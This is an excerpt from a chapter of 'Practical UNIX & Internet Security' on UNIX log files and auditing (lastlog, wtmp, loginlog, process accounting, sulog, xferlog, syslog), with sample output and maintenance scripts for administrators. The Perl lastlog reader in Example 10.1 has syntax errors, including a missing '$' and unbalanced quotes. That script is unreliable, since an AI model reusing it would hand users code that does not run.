Most log files are text files that are written line by line by system programs. For example, each time a user on your system tries to become the superuser by using the su command, the su program may append a single line to the log file sulog, which records whether the su attempt was successful or not.

Different versions of UNIX store log files in different directories. The most common locations are:

/usr/adm | Used by early versions of UNIX
/var/adm | Used by newer versions of UNIX, so that the /usr partition can be mounted read-only
/var/log | Used by some versions of Solaris, Linux, BSD, and free BSD to store log files

Within one of these directories (or a subdirectory in one of them) you may find variants of some or all of the following files:

acct or pacct | Records commands run by every user
aculog | Records of dial-out modems (automatic call units)
lastlog | Logs each user's most recent successful login time, and possibly the last unsuccessful login too
loginlog | Records bad login attempts
messages | Records output to the system's "console" and other messages generated from the syslog facility
sulog | Logs use of the su command
utmp[1] | Records each user currently logged in
utmpx | Extended utmp
wtmp[2] | Provides a permanent record of each time a user logged in and logged out. Also records system shutdowns and startups
wtmpx | Extended wtmp
vold.log | Logs errors encountered with the use of external media, such as floppy disks or CD-ROMS
xferlog | Logs FTP access

[1] Most versions of UNIX store the utmp file in the /etc directory.

[2] Early versions of System V UNIX stored the wtmp file in the /etcdirectory

The following sections describe some of these files and how to use the UNIX syslog facility.

C2 Audit

Many UNIX systems allow the administrator to enable a comprehensive type of auditing (logging) known as " C2 audit." This is so-named because it is logging of the form specified by U.S. Department of Defense regulations to meet the certification at the C2 level of trust. These regulations are specified in a document called the Trusted Computer System Evaluation Criteria (often referred to as the "Orange Book" in the "Rainbow Series").

C2 auditing generally means assigning an audit ID to each group of related processes, starting at login. Thereafter, certain forms of system calls performed by every process are logged with the audit ID. This includes calls to open and close files, change directory, alter user process parameters, and so on.

Despite the mandate for the general content of such logging, there is no generally accepted standard for the format. Thus, each vendor that provides C2-style logging seems to have a different format, different controls, and different locations for the logs. If you feel the need to set such logging on your machine, we recommend that you read the documentation carefully. Furthermore, we recommend that you be careful about what you log so as not to generate lots of extraneous information, and that you log to a disk partition with lots of space.

The last suggestion, above, reflects one of the biggest problems with C2 audit: it can consume a huge amount of space on an active system in a short amount of time. The other main problem with C2 audit is that it is useless without some interpretation and reduction tools, and these are not generally available from vendors - the DoD regulations only require that the logging be done, not that it be usable! Vendors have generally provided only as much as is required to meet the regulations and no more.

Only a few third-party companies provide intrusion detection or audit-analysis tools: Stalker, from Haystack Laboratories, is one such product with some sophisticated features. Development of more sophisticated tools is an ongoing, current area of research for many people. We hope to be able to report something more positive in a third edition of this book.

In the meantime, if you are not using one of these products, and you aren't at a DoD site that requires C2 logging, you may not want to enable C2 logging (unless you like filling up your disks with data you may not be able to interpret). On the other hand, if you have a problem, the more logging you have, the more likely you will be able to determine what happened. Therefore, review the documentation for the audit tools provided with your system if it claims C2 audit capabilities, and experiment with them to determine if you want to enable the data collection.

10.1.1 lastlog File

UNIX records the last time that each user logged into the system in the lastlog log file. This time is displayed each time you log in:

login: ti
password: books2sell
Last login: Tue Jul 12 07:49:59 on tty01

This time is also reported when the finger command is used:

% finger tim
Login name: tim           In real life: Tim Hack
Directory: /Users/tim     Shell: /bin/csh
Last login Tue Jul 12 07:49:59 on tty01
No unread mail
No Plan.
%

Some versions of System V UNIX display both the last successful login and the last unsuccessful login when a user logs into the system:

login: tim
password: books2sell
Last successful login for tim : Tue Jul 12 07:49:59 on tty01
Last unsuccessful login for tim : Tue Jul 06 09:22:10 on tty01

Teach your users to check the last login time each time they log in. If the displayed time doesn't correspond to the last time they used the system, somebody else might have been using their account. If this happens, the user should immediately change the account's password and notify the system administrator.

Unfortunately, the design of the lastlog mechanism is such that the previous contents of the file are overwritten at each login. As a result, if a user is inattentive for even a moment, or if the login message clears the screen, the user may not notice a suspicious time. Furthermore, even if a suspicious time is noted, it is no longer available for the system administrator to examine.

One way to compensate for this design flaw is to have a cron-spawned task periodically make an on-disk copy of the file that can be examined at a later time. For instance, you could have a shell file run every six hours to do the following:

mv /var/adm/lastlog.3 /var/adm/lastlog.4
mv /var/adm/lastlog.2 /var/adm/lastlog.3
mv /var/adm/lastlog.1 /var/adm/lastlog.2
cp /var/adm/lastlog /var/adm/lastlog.1

This will preserve the contents of the file in six-hour periods. If backups are done every day, then they will also be preserved to the backups for examination later.

If you have saved copies of the lastlog file, you will need a way to read the contents. Unfortunately, there is no utility under standard versions of UNIX that allows you to read one of these files and print all the information. Therefore, you need to write your own. The following Perl script will work on SunOS systems, and you can modify it to work on others.[3]

[3] The layout of the lastlog file is usually documented in an include file such as /usr/include/lastlog.h

Example 10.1: Script that Reads lastlog File.

#!/usr/local/bin/perl
$fname = (shift || "/var/adm/lastlog");
$halfyear = 60*60*24*365.2425/2; # pedantry abounds
setpwent;
while (($name, $junk, $uid) = getpwent) {
        $names{$uid} = $name;
}
endpwent;

open(LASTL, $fname);
for (uid = 0; read(LASTL, $record, 28); $uid++) {
    (	$time, $line, $host) = unpack('l A8 A16', $record);
        next unless $time;

        $host = "($host)" if $host;
        ($sec, $min, $hour, $mday, $mon, $year) = localtime($time);
    $year += 1900 + ($year < 70 ? 100 : 0);
        print $names{$uid}, $line, "$mday/$mon";
        print (time - $time > $halfyear) ? "/$year" : "  "$hour:$min";
        print "   $host\n";
}
close LASTL;

This program starts by checking for a command-line argument (the "shift"); if none is present, it uses the default. It then calculates the number of seconds in half a year, to be used to determine the format of the output (logins more than six months in the past are printed differently). Next, it builds an associative array of UIDS to login names.

After this initialization, the program reads a record at a time from the lastlog file. Each binary record is then unpacked and decoded. The stored time is decoded into something more understandable, and then the output is printed.

While the lastlog file is designed to provide quick access to the last time that a person logged into the system, it does not provide a detailed history recording the use of each account. For that, UNIX uses the wtmp log file.

10.1.2 utmp and wtmp Files

UNIX keeps track of who is currently logged into the system with a special file called /etc/utmp. This is a binary file that contains a record for every active tty line, and generally does not grow to be more than a few kilobytes in length (at the most). A second file, /var/adm/wtmp, keeps track of both logins and logouts. This file grows every time a user logs in or logs out, and can grow to be many megabytes in length unless it is pruned.

In Berkeley-derived versions of UNIX, the entries in the utmp and wtmp files contain:

  • Name of the terminal device used for login

  • Username

  • Hostname that the connection originated from, if the login was made over a network

  • Time that the user logged on

In System V UNIX, the wtmp file is placed in /etc/wtmp and is also used for accounting. The AT&T System V.3.2 utmp and wtmp entries contain:

  • Username

  • Terminal line number

  • Device name

  • Process ID of the login shell

  • Code that denotes the type of entry

  • Exit status of the process

  • Time that the entry was made

The extended wtmpx file used by Solaris, IRIX and other SVR4 UNIX operating systems, includes the following:

  • Username (32 characters instead of 8)

  • inittab id (indicates the type of connection; see Appendix C, UNIX Processes)

  • Terminal name (32 characters instead of 12)

  • Device name

  • Process ID of the login shell

  • Code that denotes the type of entry

  • Exit status of the process

  • Time that the entry was made

  • Session ID

  • Unused bytes for future expansions

  • Remote host name (for logins that originated over a network)

UNIX programs that report the users that are currently logged into the system (who, whodo, w, users, and finger), do so by scanning the /etc/utmp file. The write command checks this file to see if a user is currently logged in, and determines which terminal he is.

The last program, which prints a detailed report of the times of the most recent user logins, does so by scanning the wtmp file.

The ps command gives you a more accurate account of who is currently using your system than the who, whodo, users, and finger commands because under some circumstances, users can have processes running without having their usernames appear in the /etc/utmp or /var/adm/wtmp files. (For example, a user may have left a program running and then logged out, or used the rsh command instead of rlogin.)

However, the commands who, users, and finger have several advantages over ps:

  • They often present their information in a format that is easier to read than the ps output.

  • They sometimes contain information not present in the ps output, such as the names of remote host origins.

  • They may run significantly faster than ps.

NOTE: The permissions on the /etc/utmp file are sometimes set to be writable by any user on many systems. This is ostensibly to allow various user programs that create windows or virtual terminals to show the user as "logged" into each window without requiring superuser privileges. Unfortunately, if this file is world-writable, then any user can edit her entry to show a different username or terminal in a who listing - or to show none at all. (She can also edit anybody else's entry to show whatever she wants!) It also is the source of an old security hole that keeps reappearing in various vendors' releases of UNIX: by changing the terminal name in this file to that of a sensitive file, an attacker can get system programs that write to user terminals (such as wall and biff) to overwrite the target with selected output. This can lead to compromise or damage.

If your system has a mode -rw-rw-rw- /etc/utmp file, we recommend that you change it to remove the write access for nonowners. Then complain to your vendor for not fixing such an old and well-known flaw.

10.1.2.1 su command and /etc/utmp and /var/adm/wtmp files

When you use the su command (see "su: Changing Who You Claim to Be" in Chapter 4, Users, Groups, and the Superuser), it creates a new process with both the process's real UID and effective UID altered. This gives you the ability to access another user's files, and run programs as the other user.

However, while su does not change your entry in the /etc/utmp or the /var/adm/wtmpfiles, the finger command will continue to display the account to which you logged in, not the one that you su'ed to. Many other programs as well - such as mail - may not work properly when used from within a su subshell, as they determine your username from the /etc/utmp entry and not from the real or effective UID.

Note that different versions of the su command have different options available that allow you to reset your environment, run a different command shell, or otherwise modify the default behavior. One common argument is a simple dash, as in "su - user". This form will cause the shell for user to start up as if it were a login shell.

Thus, the su command should be used with caution. While it is useful for quick tests, because it does not properly update the utmp and wtmp files, it can cause substantial confusion to other users and to some system utilities.

10.1.3 last Program

Every time a user logs in or logs out, UNIX makes a record in the file wtmp. The last program displays the contents of this file in an understandable form.[4] If you run last with no arguments, the command displays all logins and logouts on every device. last will display the entire file; you can abort the display by pressing the interrupt character (usually CTRL-C):

[4] On some SVR4 systems you can use the "who -a" command to view the contents of the wtmp file Check your documentation to see which command version you would use on your system.

% last
dpryor    ttyp3    std.com          Sat Mar 11 12:21 - 12:24  (00:02)
simsong   ttyp2    204.17.195.43    Sat Mar 11 11:56 - 11:57  (00:00)
simsong   ttyp1    204.17.195.43    Sat Mar 11 11:37   still logged in
dpryor    console                   Wed Mar  8 10:47 - 17:41 (2+06:53)
devon     console                   Wed Mar  8 10:43 - 10:47  (00:03)
simsong   ttyp3    pleasant.cambrid Mon Mar  6 16:27 - 16:28  (00:01)
dpryor    ftp      mac4             Fri Mar  3 16:31 - 16:33  (00:02)
dpryor    console                   Fri Mar  3 12:01 - 10:43 (4+22:41)
simsong   ftp      pleasant.cambrid Fri Mar  3 08:40 - 08:56  (00:15)
simsong   ttyp2    pleasant.cambrid Thu Mar  2 20:08 - 21:08  (00:59)
...

In this display, you can see that five login sessions have been active since March 7th: simsong, dpryor, devon, dpyror (again), and simsong (again). Two of the users (dpryor and devon) logged on to the computer console. The main user of this machine is probably the user dpryor (in fact, this computer is a workstation sitting on dpryor's desk.) The terminal name ftp indicates that dpryor was logged in for FTP file transfer. Other terminal names may also appear here, depending on your system type and configuration; for instance, you might have an entry showing pc-nfs as an entry type.

The last command allows you to specify a username or a terminal as an argument to prune the amount of information displayed. If you provide a username, last displays logins and logouts only for that user. If you provide a terminal name, last displays logins and logouts only for the specified terminal:

% last dpryor
dpryor    ttyp3    std.com          Sat Mar 11 12:21 - 12:24  (00:02)
dpryor    console                   Wed Mar  8 10:47 - 17:41 (2+06:53)
dpryor    ftp      mac4             Fri Mar  3 16:31 - 16:33  (00:02)
dpryor    console                   Fri Mar  3 12:01 - 10:43 (4+22:41)
dpryor    ftp      mac4             Mon Feb 27 10:43 - 10:45  (00:01)
dpryor    ttyp6    std.com          Sun Feb 26 01:12 - 01:13  (00:01)
dpryor    ftp      mac4             Thu Feb 23 14:42 - 14:43  (00:01)
dpryor    ftp      mac4             Thu Feb 23 14:20 - 14:25  (00:04)
dpryor    ttyp3    mac4             Wed Feb 22 13:04 - 13:06  (00:02)
dpryor    console                   Tue Feb 21 09:57 - 12:01 (10+02:04)

You may wish to issue the last command every morning to see if there were unexpected logins during the previous night.

On some systems, the wtmp file also logs shutdowns and reboots.

10.1.3.1 Pruning the wtmp file

The wtmp file will continue to grow until you have no space left on your computer's hard disk. For this reason, many vendors include shell scripts with their UNIX releases that zero the wtmp file automatically on a regular basis (such as once a week or once a month). These scripts are run automatically by the cron program.

For example, many monthly shell scripts contain a statement that looks like this:

# zero the log file
cat /dev/null >/var/adm/wtmp

Instead of this simple-minded approach, you may wish to make a copy of the wtmp file first, so you'll be able to refer to logins in the previous month. To do so, you must locate the shell script that zeros your log file and add the following lines:

# make a copy of the log file and zero the old one
rm /var/adm/wtmp.old
ln /var/adm/wtmp /var/adm/wtmp.old
cp /dev/null /var/adm/wtmp.nul
mv /var/adm/wtmp.nul /var/adm/wtmp

Most versions of the last command allow you to specify a file to use other than wtmp by using the -f option. For example:

% last -f /var/adm/wtmp.old

Some versions of the last command do not allow you to specify a different wtmp file to search through. If you need to check this previous copy and you are using one of these systems, you will need to momentarily place the copy of the wtmp file back into its original location. For example, you might use the following shell script to do the trick:

#!/bin/sh
mv /var/adm/wtmp /var/adm/wtmp.real
mv /var/adm/wtmp.old /var/adm/wtmp
last $*
mv /var/adm/wtmp /var/adm/wtmp.old
mv /var/adm/wtmp.real /var/adm/wtmp

This approach is not without its problems, however. Any logins and logouts will be logged to the wtmp.old file while the command is running.

10.1.4 loginlog File

If you are using a System V-based version of UNIX (including Solaris), you can log failed login attempts in a special file called /var/adm/loginlog.

To log failed login attempts, you must specifically create this file with the following sequence of commands:

# touch /var/adm/loginlog
# chmod 600 /var/adm/loginlog
# chown root /var/adm/loginlog

After this file is created, UNIX will log all failed login attempts to your system. A "failed login attempt" is defined as a login attempt in which a user tries to log into your system but types a bad password five times in a row. Normally, System V UNIX hangs up on the caller (or disconnects the Telnet connection) after the fifth attempt. If this file exists, UNIX will also log the fact that five bad attempts occurred.

The contents of the file look like this:

# cat /var/adm/loginlog
simsong:/dev/pts/8:Mon Nov 27 00:42:14 1995
simsong:/dev/pts/8:Mon Nov 27 00:42:20 1995
simsong:/dev/pts/8:Mon Nov 27 00:42:26 1995
simsong:/dev/pts/8:Mon Nov 27 00:42:39 1995
simsong:/dev/pts/8:Mon Nov 27 00:42:50 1995
#

Previous: 9.3 A Final Note | Practical UNIX & Internet Security | Next: 10.2 The acct/pacct Process Accounting File
9.3 A Final Note | Book Index | 10.2 The acct/pacct Process Accounting File


[Chapter 10] 10.2 The acct/pacct Process Accounting File

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.1 The Basic Log Files Chapter 10
Auditing and Logging 		Next: 10.3 Program-Specific Log Files

10.2 The acct/pacct Process Accounting File

In addition to logins and logouts, UNIX can log every single command run by every single user. This special kind of logging is often called process accounting; normally, process accounting is used only in situations where users are billed for the amount of CPU time that they consume. The acct or pacct file can be used after a break-in to help determine what commands a user executed (provided that the log file is not deleted.) This command can also be used for other purposes, such as seeing if anyone is using some old software you wish to delete, or who is playing games on the fileserver.

The lastcomm or acctcom program displays the contents of this file in a human-readable format:

% lastcomm
sendmail    F    root     __         0.05 secs Sat Mar 11 13:28
mail       S     daemon   __         0.34 secs Sat Mar 11 13:28
send             dfr      __         0.05 secs Sat Mar 11 13:28
post             dfr      ttysf      0.11 secs Sat Mar 11 13:28
sendmail    F    root     __         0.09 secs Sat Mar 11 13:28
sendmail    F    root     __         0.23 secs Sat Mar 11 13:28
sendmail    F    root     __         0.02 secs Sat Mar 11 13:28
anno             dfr      ttys1      0.14 secs Sat Mar 11 13:28
sendmail    F    root     __         0.03 secs Sat Mar 11 13:28
mail       S     daemon   __         0.30 secs Sat Mar 11 13:28
%

If you have an intruder on your system and he has not edited or deleted the /var/adm/acct file, lastcomm will provide you with a record of the commands that the intruder used.[5] Unfortunately, UNIX accounting does not record the arguments to the command typed by the intruder, nor the directory in which the command was executed. Thus, keep in mind that a program named vi and executed by a potential intruder might actually be a renamed version of cc - you have no way to tell for certain by examining this log file.

[5] lastcomm can work in two ways: by the system administrator to monitor attackers, or by an attacker to see if the administrator is monitoring him. For this reason, some administrators change the permission mode of the log file so that only the superuser can read its contents.

On systems that have even moderate use, the /var/adm/acct file grows very quickly - often more than one or two megabytes per day. For this reason, most sites that use accounting run the command sa or runacct on a nightly basis. The command processes the information in the acct or pacct file into a summary file, which is often kept in /var/adm/savacct.

10.2.1 Accounting with System V

On SVR4 systems, you start the accounting with the command:

# /usr/lib/acct/startup

The accounting file on these systems is usually /var/adm/pacct and it is read with the acctcom command. The acctcom command has more than 20 options, and can provide a variety of interesting summaries. You should check your manual entry to become familiar with the possibilities.

Accounting is performed by the UNIX kernel. Every time a process terminates, the kernel writes a 32-byte record to the /var/adm/acct file that includes:

  • Name of the user who ran the command

  • Name of the command

  • Amount of CPU time used

  • Time that the process exited

  • Flags, including:

S | Command was executed by the superuser.
F | Command ran after a fork, but without an exec.
D | Command generated a core file when it exited.
X | Command was terminated by signal

10.2.2 Accounting with BSD

You can turn on accounting by issuing the accton command:

# accton filename

Depending on your version of UNIX, you may find the accton command in /usr/etcor in /usr/lib/acct. The filename specifies where accounting information should be kept. It is typically /var/adm/acct or /var/adm/acct. The file is read with the lastcomm command.

Back Up Your Logs!

Log files are a valuable resource. For this reason, many sites set up jobs in their crontab files to back up the logs every day.

One way to back up your logs is to back up each log one file at a time. At one site, seven days worth of the log file /usr/spool/mqueue/syslog are automatically kept in the files syslog.1, syslog.2, syslog.3 ... syslog.7. Other sites set up shell scripts that automatically back up their log files and compress the backups.

A simple way to back up your log is to have a shell script that runs every night and uses the tar command to archive your entire /var/adm directory, then uses the compress command to shorten the resulting output file. The following script could run at midnight each night and make the appropriate backups into /var/adm.backups:

#!/bin/ksh
BFILE=$(date +backup.%y.%m.%d.tar.Z)
cd /var/adm
tar cf - . | compress > ../adm.backups/$BFILE
exit 0

10.2.3 messages Log File

Many versions of UNIX place a copy of any message printed on the system console in a file called /usr/adm/messages or /var/adm/messages. This can be particularly useful, as it does not require the use of special software for logging - only a call to printf in a C program or an echo statement in a shell script.

Here is a sample of the /var/adm/messages file from a computer running SunOS version 4.1:

Mar 14 14:30:58 bolt su: 'su root' succeeded for tanya on /dev/ttyrb
Mar 14 14:33:59 bolt vmunix: /home: file system full
Mar 14 14:33:59 bolt last message repeated 8 times
Mar 14 14:33:59 bolt vmunix: /home: file system full
Mar 14 14:33:59 bolt last message repeated 16 times

As you can see, the computer bolt is having a problem with a filled disk.

Previous: 10.1 The Basic Log Files | Practical UNIX & Internet Security | Next: 10.3 Program-Specific Log Files
10.1 The Basic Log Files | Book Index | 10.3 Program-Specific Log Files


[Chapter 10] 10.3 Program-Specific Log Files

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.2 The acct/pacct Process Accounting File Chapter 10
Auditing and Logging 		Next: 10.4 Per-User Trails in the Filesystem

10.3 Program-Specific Log Files

Depending on the version of UNIX you are using, you may find a number of other log files in your log file directory.

10.3.1 aculog File

The tip command and the Berkeley version of the UUCP commands record information in the aculog file each time they make a telephone call. The information recorded includes the account name, date, time, entry in the /etc/remote file that was used to place the call, phone number dialed, actual device used, and whether the call was successful or not.

Here is a sample log:

tomh (Mon Feb 13 08:43:03 1995) <cu1200, , > call aborted
tomh (Tue Mar 14 16:05:00 1995) <a9600, , /dev/cua> call completed
carol (Tue Mar 14 18:08:33 1995) <mit, 2531000, /dev/cua> call completed

In the first two cases, the user tomh connected directly to the modem. In these cases, the phone number dialed was not recorded.

Most Hayes-compatible modems can be put into command mode by sending them a special "escape sequence." Although you can disable this feature, many sites do not. In those cases, there is no way to be sure if the phone numbers listed in the aculog are in fact the phone numbers that were called by your particular user. You also do not have any detailed information about how long each call was.

10.3.2 sulog Log File

Some versions of UNIX record attempts to use the sucommand by printing to the console (and therefore to the messages log file). In addition, some recent versions specially log su attempts to the log file sulog.

Under some versions of System V-related UNIX, you can determine logging via settings in the /etc/default/su file. Depending on the version involved, you may be able to set the following:

# A file to log all su attempts
SULOG=/var/adm/sulog
# A device to log all su attempts
CONSOLE=/dev/console
# Whether to also log using the syslog facility
SYSLOG=yes

Here is a sample sulog from a computer running Ultrix V4.2A:

BADSU: han /dev/ttyqc Wed Mar  8 16:36:29 1995
BADSU: han /dev/ttyqc Wed Mar  8 16:36:40 1995
BADSU: rhb /dev/ttyvd Mon Mar 13 11:48:58 1995
SU: rhb /dev/ttyvd Mon Mar 13 11:49:39 1995

As you can see, the user han apparently didn't know the superuser password, whereas the user rhb apparently mistyped the password the first time and typed it correctly on the second attempt.

Scanning the sulog is a good way to figure out if your users are trying to become the superuser by searching for passwords. If you see dozens of su attempts from a particular user who is not supposed to have access to the superuser account, you might want to ask him what is going on. Unfortunately, if a user actually does achieve the powers of the superuser account, he can use those powers to erase his BADSU attempts from the log file. For this reason, you might want to have BADSU attempts logged to a hardcopy printer or to a remote, secure computer on the Internet. See the Section 10.5.2.1, "Logging to a printer" and Section 10.5.2.2, "Logging across the network" later in this chapter.

10.3.3 xferlog Log File

If your computer uses the Washington University FTP server, then you can configure your server to log all files transferred. The default filename for this log is xferlog, and the default location is the directory /var/adm/. The location is defined by the configuration variable _PATH_XFERLOG in the file pathnames.h.

The following information is recorded in the file xferlog for each file transferred:

  • Date and time of transfer

  • Name of the remote host that initiated the transfer

  • Size of the file that was transferred

  • Name of the file that was transferred

  • Mode of the file that was transferred (a for ASCII; b for binary)

  • Special action flag (C for compressed; U for uncompressed; T for tar archive)

  • Direction of the transfer (o for outgoing, i for incoming)

  • The kind of user who was logged in (a for anonymous user; g for guest; and r for a local user who was authenticated with a password)

Here is a sample from the xferlog on a server:

Sat Mar 11 20:40:14 1995 329 CU-DIALUP-0525.CIT.CORNELL.EDU 426098
 /pub/simson/scans/91.Globe.Arch.ps.gz b _ o a ckline@tc.cornell.edu ftp 0*
Mon Mar 13 01:32:29 1995 9 slip-2-36.ots.utexas.edu 14355
 /pub/simson/clips/95.Globe.IW.txt a _ o a mediaman@mail.utexas.edu ftp 0 *
Mon Mar 13 23:30:42 1995 1 mac 52387 /u/beth/.newsrc a _ o r bethftp 0 *
Tue Mar 14 00:04:10 1995 1 mac 52488 /u/beth/.newsrc a _ i r bethftp 0 *

The last two entries were generated by a user who was running the Newswatcher netnews program on a Macintosh computer. At 23:30, Newswatcher retrieved the user's .newsrc file; at 00:04 the next morning, the .newsrc file was sent back.

10.3.4 uucp Log Files

Derivatives of the BNU version of UUCP (the version you are most likely to encounter on non-Linux systems) may have comprehensive logging available. These log files are normally contained in the /var/spool/uucp/.Admin directory. These include logs of transfers, foreign contacts, and user activity. Of most interest is the file security, if it exists. This file records instances at which violations of restrictions are attempted using the UUCP system.

One type of record present may indicate attempts to make prohibited transfers of files. These records start with the tag xfer and contain the name and user on the requesting and destination hosts involved in the command, information to identify the file name and size, and information about the time and date of transfer.

The other type of record starts with the tag "rexe" and indicates attempts to execute a command that is not allowed. This record will contain the name and user on the requesting and destination hosts involved in the command, the date and time of the attempt, and the command and options involved.

The exact format of the fields may differ slightly from system to system, so check your documentation for exact details.

We suggest that you monitor this file for changes so you will be aware of any problems that are recorded. Because the directory is not one you might otherwise monitor, you may wish to write a shell script (similar to the one shown below) to put in the crontab to run every few hours:

#!/bin/ksh
# set the following to indicate the user to notify of a new
# security record
typeset User=root
cd /var/spool/uucp/.Admin
if [[ -r security.mark ]]
then
   if [[ security -nt security.mark ]]
   then
      comm -3 security security.mark | tee -a security.mark |
         /bin/mailx -s "New uucp security record" $User

   fi
else
   touch security.mark
fi

10.3.5 access_log Log File

If you are running the NCSA HTTPD server for the World Wide Web, then you can determine which sites have been contacting your system and which files have been downloaded by examining the log file access_log.[6]

[6] Other WWW servers also log this information, but we will only present this one as an example. See your documentation for details about your own server.

The HTTPD server allows you to specify where the access_log file is kept; by default, it is kept in the directory /usr/local/etc/http/logs.

Each line in the log file consists of the following information:

  • Name of the remote computer that initiated the transfer

  • Remote login name, if it was supplied, or "-" if not supplied

  • Remote username, if supplied, or "-" if not supplied

  • Time that the transfer was initiated (day of month, month, year, hour, minute, second, and time zone offset)

  • HTTP command that was executed (usually GET)

  • Status code that was returned

  • Number of bytes that were transferred

Here are some sample log entries:

port15.ts1.msstate.edu - - [09/Apr/1995:11:55:37 -0400] "GET /simson
 HTTP/1.0" 302 -
ayrton.eideti.com - - [09/Apr/1995:11:55:37 -0400] "GET /unix-haters-
title.gif HTTP/1.0" 200 49152
port15.ts1.msstate.edu - - [09/Apr/1995:11:55:38 -0400] "GET /simson/
 HTTP/1.0" 200 1248
mac-22.cs.utexas.edu - - [09/Apr/1995:14:32:50 -0400] "GET /unix-
haters.html HTTP/1.0" 200 2871
204.32.162.175 - - [09/Apr/1995:14:33:21 -0400] "GET
/wedding/slides/020.jpeg HTTP/1.0" 200 9198
mac-22.cs.utexas.edu - - [09/Apr/1995:14:33:53 -0400] "GET /unix-
haters-title.gif HTTP/1.0" 200 58092

One program for analyzing the access_log log file is getstats, available via anonymous FTP from a number of servers. This program can tell you how many people have accessed your server, where they are coming from, what files are the most popular, and a variety of other interesting statistics. We have had good results with getstats. For further information on getstats, check:

http://www.eit.com/software/getstats/getstats.html

10.3.6 Logging Network Services

Some versions of the inetd Internet services daemon have a "-t" (trace) option that can be used for logging incoming network services. To enable inetd logging, locate the startup file from which inetd is launched and add the -t option.

For example, under Solaris 2.4, inetd is launched in the file /etc/rc2.d/S72inetsvc by the following line:

#
# Run inetd in "standalone" mode (-s flag) so that it doesn't have
# to submit to the will of SAF.  Why did we ever let them change inetd?
#
/usr/sbin/inetd -s

To enable logging of incoming TCP connections, the last line should be changed to read:

/usr/sbin/inetd -t -s

Logs will appear in /var/adm/messages. For example:

Jan  3 10:58:57 vineyard.net inetd[4411]: telnet[4413] from 18.85.0.2
Jan  3 11:00:38 vineyard.net inetd[4411]: finger[4444] from 18.85.0.2 4599
Jan  3 11:00:42 vineyard.net inetd[4411]: systat[4446] from 18.85.0.2 4600

If your version of inetd does not support logging (and even if it does), consider using the tcpwrapper, discussed in Chapter 22, Wrappers and Proxies.

10.3.7 Other Logs

There are many other possible log files on UNIX systems that may result from third-party software. Usenet news programs, gopher servers, database applications, and many other programs often generate log files both to show usage and to indicate potential problems. The files should be monitored on a regular basis.

As a suggestion, consider putting all these logs in the same directory. If you cannot do that, use a symbolic link from the log file's hard-coded location to the new log file in a common directory (assuming that your system supports symbolic links). This link will facilitate writing scripts to monitor the files and tracking the log files present on your system.

NOTE: Many systems have cron jobs which rotate the log files. If these scripts do not know about your symbolic links, you won't get what you expect! Instead of having your log files rotated, the symbolic link will be renamed and a new file created in its old place, rather than where the symbolic link pointed.

Previous: 10.2 The acct/pacct Process Accounting File | Practical UNIX & Internet Security | Next: 10.4 Per-User Trails in the Filesystem
10.2 The acct/pacct Process Accounting File | Book Index | 10.4 Per-User Trails in the Filesystem


[Chapter 10] 10.4 Per-User Trails in the Filesystem

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.3 Program-Specific Log Files Chapter 10
Auditing and Logging 		Next: 10.5 The UNIX System Log (syslog) Facility

10.4 Per-User Trails in the Filesystem

Although not obvious, there are some files that are kept on a per-user basis that can be helpful in analyzing when something untoward has happened on your system. While not real log files, as such, they can be treated as a possible source of information on user behavior.

10.4.1 Shell History

Many of the standard user command shells, including csh, tcsh, and ksh, can keep a history file. When the user issues commands, the text of each command and its arguments are stored into the history file for later re-execution. If you are trying to recreate activity performed on an account, possibly by some intruder, the contents of this file can be quite helpful when coupled with system log information. You must check the modification time on the file to be sure that it was in use during the time the suspicious activity occurred. If it was created and modified during the intruder's activities, you should be able to determine the commands run, the programs compiled, and sometimes even the names of remote accounts or machines that might also be involved in the incident. Be sure of your target, however, because this is potentially a violation of privacy for the real user of this account.

Obviously, an aware intruder will delete the file before logging out. Thus, this mechanism may be of limited utility. However, there are two ways to increase your opportunity to get a useful file. The first way is to force the logout of the suspected intruder, perhaps by using a signal or shutting down the system. If a history file is being kept, this will leave the file on disk where it can be read. The second way to increase your chances of getting a usable file is to make a hard link to the existing history file, and to locate the link in a directory on the same disk that is normally inaccessible to the user (e.g., in a root-owned directory). Even if the intruder unlinks the file from the user's directory, it can still be accessed through the extra link.

Also note that this technique can come in handy if you suspect that an account is being used inappropriately. You can alter the system profile to create and keep a history file, if none was kept before. On some systems, you can even designate a named pipe (FIFO) as the history file, thus transmitting the material to a logging process in a manner that cannot be truncated or deleted.

Even if you were unable to preserve a copy of the history file, but one was created and then unlinked by the intruder, you can still gain some useful information if you act quickly enough. The first thing you must do is to either take the system to single-user mode, or umount the disk with the suspect account (we recommend going to single-user mode). Then, you can use disk-examination tools to look at the records on the free list. When a file is deleted, the contents are not immediately overwritten. Instead, the data records are added back into the freelist on disk. If they are not reused yet (which is why you umount the disk or shut the system down), you can still read the contents.

10.4.2 Mail

Some user accounts are configured to make a copy of all outgoing mail in a file. If an intruder sends mail from a user account where this feature is set (or where you set it), this feature can provide you with potentially useful information. In at least one case we know of, a person stealing confidential information by using a coworker's pirated password was exposed because of recorded email to his colleagues that he signed with his own name!

Some systems also record a log file of mail sent and received. This file can be kept per-user, or it may be part of the system-wide syslog audit trail. The contents of this log can be used to track what mail has come in and left the system. If nothing else, we have found this information to be useful when a disk error (or human error) wipes out a whole set of mailboxes - the people listed in the mail log file can be contacted to resend their mail.

10.4.3 Network Setup

Each user account can have several network configuration files that can be edited to provide shortcuts for commands, or to assert access rights. Sometimes, the information in these files will provide a clue as to the activities of a malefactor. Examples include the .rhosts file for remote logins, and the .netrc file for FTP. Examine these files carefully for clues, but remember: the presence of information in one of these files may have been there prior to the incident, or it may have been planted to throw you off.

Previous: 10.3 Program-Specific Log Files | Practical UNIX & Internet Security | Next: 10.5 The UNIX System Log (syslog) Facility
10.3 Program-Specific Log Files | Book Index | 10.5 The UNIX System Log (syslog) Facility


[Chapter 10] 10.5 The UNIX System Log (syslog) Facility

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.4 Per-User Trails in the Filesystem Chapter 10
Auditing and Logging 		Next: 10.6 Swatch: A Log File Tool

10.5 The UNIX System Log (syslog) Facility

In addition to the various logging facilities mentioned above, many versions of UNIX provide a general-purpose logging facility called syslog, originally developed at the University of California at Berkeley for the Berkeley sendmail program. Since then, syslog has been ported to several System V-based systems, and is now widely available. The uses of syslog have similarly been expanded.

